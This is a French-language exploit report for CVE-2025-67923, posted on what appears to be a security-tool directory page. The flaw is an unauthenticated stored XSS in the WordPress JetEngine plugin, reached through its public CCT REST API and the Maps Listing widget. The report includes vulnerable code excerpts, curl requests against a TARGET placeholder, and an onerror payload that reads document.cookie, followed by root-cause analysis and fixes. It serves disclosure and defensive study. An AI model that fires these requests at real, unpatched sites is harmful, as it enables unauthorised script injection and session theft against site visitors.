Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-67923 — JetEngine <= 3.7.7 — Cross-Site Scripting stocké non authentifié via CCT REST API | Kitploit
Outils/GitHubGitHub/randomrobbiebf/cve-2025-67923
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebSécurité des API
GitHubrandomrobbiebf/cve-2025-67923

CVE-2025-67923

JetEngine <= 3.7.7 — Cross-Site Scripting stocké non authentifié via CCT REST API

Voir le dépôt
il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Rapport d'exploitation de CVE-2025-67923

JetEngine <= 3.7.7 — Cross-Site Scripting stocké non authentifié via l'API REST CCT

Date: 11 mars 2026 Score CVSS: 7.1 (Élevé) Vecteur CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Plugin affecté: JetEngine <= 3.7.7 Slug du plugin: jet-engine Corrigé dans: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Chercheur: Bonds (via Patchstack) Signalé: 19 octobre 2025 Divulgué: janvier 2026 Version de WordPress testée: Dernière


Résumé exécutif

CVE-2025-67923 est une vulnérabilité de Cross-Site Scripting stocké non authentifié dans le plugin WordPress JetEngine affectant toutes les versions jusqu'à 3.7.7 incluse. Un attaquant non authentifié peut écrire du HTML/JavaScript arbitraire dans un champ texte d'un type de contenu personnalisé (CCT) via l'API REST publique, qui est ensuite injecté non désinfecté dans le DOM via un sink JavaScript innerHTML dans le widget Maps Listing lorsqu'une victime visite une page contenant ce widget.

L'attaque ne nécessite ni authentification ni privilèges. Elle exige uniquement que :

  1. Un CCT JetEngine existe avec l'accès en écriture de l'API REST défini sur public.
  2. Un widget Maps Listing sur une page frontale soit configuré pour afficher le champ texte de ce CCT comme étiquette du marqueur de carte.

✅ VULNÉRABILITÉ CONFIRMÉE — Charge utile XSS stockée écrite et exécutée

Impact confirmé :

  • HTML/JS arbitraire non authentifié stocké dans la base de données CCT sans désinfection
  • XSS déclenchée pour chaque visiteur chargeant une page contenant le widget Maps Listing
  • Vol de cookies, détournement de session, collecte d'identifiants stockés, prise de contrôle de l'administrateur

Détails de la vulnérabilité

Résumé technique

La vulnérabilité est une combinaison de deux faiblesses indépendantes :

  1. Absence de désinfection des entrées (stockage) : La méthode sanitize_field_value() du gestionnaire d'éléments CCT n'a aucun chemin de désinfection pour les champs de type text. Le cas default: ne fait que convertir les horodatages — le HTML brut passe et est persisté en base de données.

  2. Sink XSS basé sur le DOM (rendu) : Le widget Maps Listing lit la valeur de champ stockée via get_marker_label(), l'enveloppe dans htmlspecialchars(json_encode(...)) pour l'attribut HTML data-markers, et le JavaScript frontal lit l'attribut avec getAttribute() (qui décode les entités HTML), puis insère markerData.label directement via innerHTML — exécutant tout HTML/JavaScript intégré.

Composants affectés


Chaîne d'exploitation

Étape 1 — Écriture REST non authentifiée

Le contrôleur REST public des CCT vérifie les permissions via check_user_permissions() :

root@kitploit:~
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
    $content_type = $this->get_content_type_from_request( $request );
    $cap = $content_type->get_arg( $context );

    if ( ! $cap || 'public' === $cap ) {
        return true;  // No authentication required
    } else {
        return current_user_can( $cap );
    }
}

public function create_item_permissions_check( $request ) {
    return $this->check_user_permissions( $request, 'rest_put_access' );
}

Lorsqu'un CCT est configuré avec rest_put_access = 'public' (une configuration prise en charge et documentée pour les formulaires publics), le point de terminaison est entièrement non authentifié. N'importe quel client HTTP peut envoyer une requête POST à /wp-json/jet-cct/{slug}.

Étape 2 — Stockage non désinfecté

Le gestionnaire REST appelle $handler->update_item($params), qui atteint sanitize_field_value() :

root@kitploit:~
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
    $type = isset( $field['type'] ) ? $field['type'] : false;

    switch ( $type ) {
        case 'repeater':    // sanitizes sub-fields
            // ...
        case 'checkbox':    // handles boolean arrays
        case 'checkbox-raw':
            // ...
        case 'media':
        case 'gallery':     // sanitizes media JSON
            // ...
        case 'wysiwyg':
            $value = jet_engine_sanitize_wysiwyg( $value );  // sanitized
            break;

        default:
            // TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
            $value = $this->factory->maybe_to_timestamp( $value, $field );
    }

    return $value;
}

Un champ de type text atteint la branche default:. maybe_to_timestamp() renvoie la valeur inchangée pour les chaînes non datées. La charge utile XSS `` est stockée telle quelle.

Étape 3 — Étiquette récupérée sans échappement

Lorsque le widget Maps Listing effectue le rendu, get_marker_label() lit le champ :

root@kitploit:~
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {

    // ...
    switch ( $label_type ) {
        case 'meta_field':
            $field = $settings['marker_label_field'];
            if ( $field ) {
                $result = jet_engine()->listings->data->get_meta( $field, $post );
                // No esc_html() here — raw value returned
            }
            break;
    }

    return $result;  // Returns ""
}

La valeur renvoyée est placée dans le tableau de données des marqueurs :

root@kitploit:~
// render.php:231-237
$result[] = array(
    'id'        => $post_id,
    'latLang'   => $latlang,
    'label'     => $this->get_marker_label( $post, $settings ),  // raw XSS payload
    // ...
);

Étape 4 — L'encodage d'attribut n'empêche pas l'XSS via innerHTML

Le tableau des marqueurs est encodé pour un attribut HTML :

root@kitploit:~
// render.php:247
return htmlspecialchars( json_encode( $result ) );

json_encode sérialise `` comme la chaîne "". htmlspecialchars encode ensuite en HTML l'intégralité du JSON, produisant :

root@kitploit:~
[{...,&quot;label&quot;:&quot;&lt;img src=x onerror=alert(1)&gt;&quot;,...}]

Ceci est écrit dans l'attribut HTML data-markers. L'encodage ne protège que la limite de l'attribut. Lorsque JavaScript lit l'attribut, le navigateur décode les entités HTML, restaurant les caractères d'origine :

root@kitploit:~
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''

Étape 5 — Injection innerHTML (déclenchement de l'XSS)

Dans frontend-maps.js, la chaîne d'étiquette brute est insérée directement dans une chaîne de contenu HTML :

root@kitploit:~
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//   
// </div>'

Cette chaîne de contenu est ensuite définie comme innerHTML de l'élément marqueur :

root@kitploit:~
// mapbox-maps.js:175
el.innerHTML = data.content;  // XSS FIRES

// leaflet-maps.js:34
contentHtml.innerHTML = content;  // XSS FIRES

Chaque visiteur qui charge une page contenant le widget Maps Listing déclenche la charge utile.


Preuve de concept

Prérequis

  1. Les modules maps-listings et custom-content-types de JetEngine sont activés.
  2. Un CCT nommé locations (slug : locations) existe avec :
    • rest_put_enabled = true
    • rest_put_access = 'public'
    • Un champ de type text nommé label
  3. Un widget Maps Listing sur n'importe quelle page frontale est configuré avec :
    • marker_type = 'text'
    • marker_label_type = 'meta_field'
    • marker_label_field = 'label'

Étape 1 — Écriture de la charge utile XSS (non authentifiée)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Test Location",
    "label": "",
    "lat": "51.5074",
    "lng": "-0.1278"
  }'

Réponse:

root@kitploit:~
{"success": true, "item_id": 1}

Étape 2 — Confirmer le stockage de la charge utile brute

root@kitploit:~
curl -s 'http://TARGET/wp-json/jet-cct/locations'

Réponse:

root@kitploit:~
[{
  "_ID": "1",
  "name": "Test Location",
  "label": "",
  "lat": "51.5074",
  "lng": "-0.1278"
}]

La balise `` est stockée telle quelle — aucune désinfection n'a eu lieu.

Étape 3 — Déclenchement de l'XSS (la victime visite la page)

Tout visiteur, authentifié ou non, qui charge une page contenant le widget Maps Listing exécutera la charge utile. L'attribut HTML rendu contient :

root@kitploit:~
<div class="jet-map-box"
  data-markers="[{...&quot;label&quot;:&quot;&lt;img src=x onerror=alert(document.cookie)&gt;&quot;...}]"
  data-general="...">
</div>

JavaScript lit data-markers, décode les entités HTML, analyse le JSON et l'insère dans le DOM :

root@kitploit:~
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)

Démonstration en direct — Flux de charge utile de bout en bout

root@kitploit:~
Attacker                     WordPress REST API              Victim Browser
   |                               |                               |
   |-- POST /wp-json/jet-cct/ ---> |                               |
   |   {"label":" |
   |                               |                    el.innerHTML = label
   |                               |                    onerror=alert() FIRES

Analyse des causes racines

Cause 1 — Champs text exemptés de désinfection

sanitize_field_value() gère explicitement wysiwyg avec une désinfection basée sur wp_kses, mais place tous les autres types de chaînes dans une branche default: qui n'effectue aucun échappement HTML. L'hypothèse selon laquelle les champs text sont du texte brut est violée lorsque ces valeurs sont ensuite rendues comme HTML via le chemin innerHTML du widget Maps.

Cause 2 — htmlspecialchars mal appliqué

htmlspecialchars(json_encode($result)) est appliqué pour protéger la limite de l'attribut HTML. C'est correct et nécessaire — mais cela ne suffit pas à empêcher l'XSS lorsque la valeur est ensuite relue via JavaScript et insérée dans le DOM via innerHTML. L'encodage est réversible par le navigateur. La correction appropriée consiste à appliquer esc_html() (ou htmlspecialchars) à la valeur individuelle label avant l'encodage JSON, afin que la charge utile soit stockée dans le JSON comme texte encodé en entités. Lorsque JavaScript l'insère via innerHTML, le navigateur rend &lt;img&gt; comme texte, et non comme une balise HTML.

Alternativement, remplacez innerHTML par textContent dans le JavaScript pour le champ d'étiquette.

Cause 3 — Portée insuffisante de la politique de désinfection

Le chemin d'écriture de l'API REST (update_item) ne traite pas toutes les valeurs stockées comme des sinks HTML potentiels. La politique de désinfection n'est définie que par type de champ, les champs text étant silencieusement exemptés alors qu'ils sont rendus comme HTML côté front via le widget Maps.


Correction


Chronologie

DateÉvénement
19 octobre 2025Vulnérabilité signalée par le chercheur « Bonds » via Patchstack
janvier 2026Divulgation publique
janvier 2026JetEngine 3.7.8 publiée avec le correctif
11 mars 2026Reproduit indépendamment avec un PoC complet

Références

  • Avis Wordfence — CVE-2025-67923
  • Avis de Patchstack
  • Changelog de JetEngine — 3.7.8
  • OWASP — XSS stocké
  • OWASP — XSS basé sur le DOM
  • CWE-79 : Neutralisation inappropriée de l'entrée lors de la génération de pages Web
Télécharger l’outil
FichierProblème
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424create_item_permissions_check renvoie true lorsque le CCT a rest_put_access = 'public' — aucune authentification requise
includes/modules/custom-content-types/inc/item-handler.php:489Branche default: de sanitize_field_value() — aucune désinfection HTML pour les champs de type text
includes/modules/maps-listings/inc/render.php:233get_marker_label() renvoie la valeur meta brute sans esc_html()
includes/modules/maps-listings/inc/render.php:247htmlspecialchars(json_encode($result)) — protège uniquement la limite de l'attribut, pas l'injection innerHTML
includes/modules/maps-listings/assets/js/frontend-maps.js:112pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — étiquette brute insérée dans la chaîne HTML
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175el.innerHTML = data.content — sink d'exécution XSS
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34contentHtml.innerHTML = content — sink d'exécution XSS
CorrectifFichierDescription
Désinfecter les champs texte à l'enregistrementitem-handler.php:sanitize_field_value()Ajoutez $value = wp_kses($value, []) ou sanitize_text_field($value) dans la branche default:
Échapper l'étiquette au moment du rendurender.php:get_marker_label()Appliquez esc_html($result) avant de renvoyer la valeur de l'étiquette
Utiliser textContent au lieu de innerHTML pour les étiquettesfrontend-maps.js, mapbox-maps.js, leaflet-maps.jsRemplacez el.innerHTML = data.content par une construction DOM sûre lorsque le contenu est uniquement du texte d'étiquette
Restreindre l'accès en écriture REST par défautParamètres du pluginModifiez la valeur par défaut de rest_put_access en manage_options plutôt que public ; exigez une adhésion explicite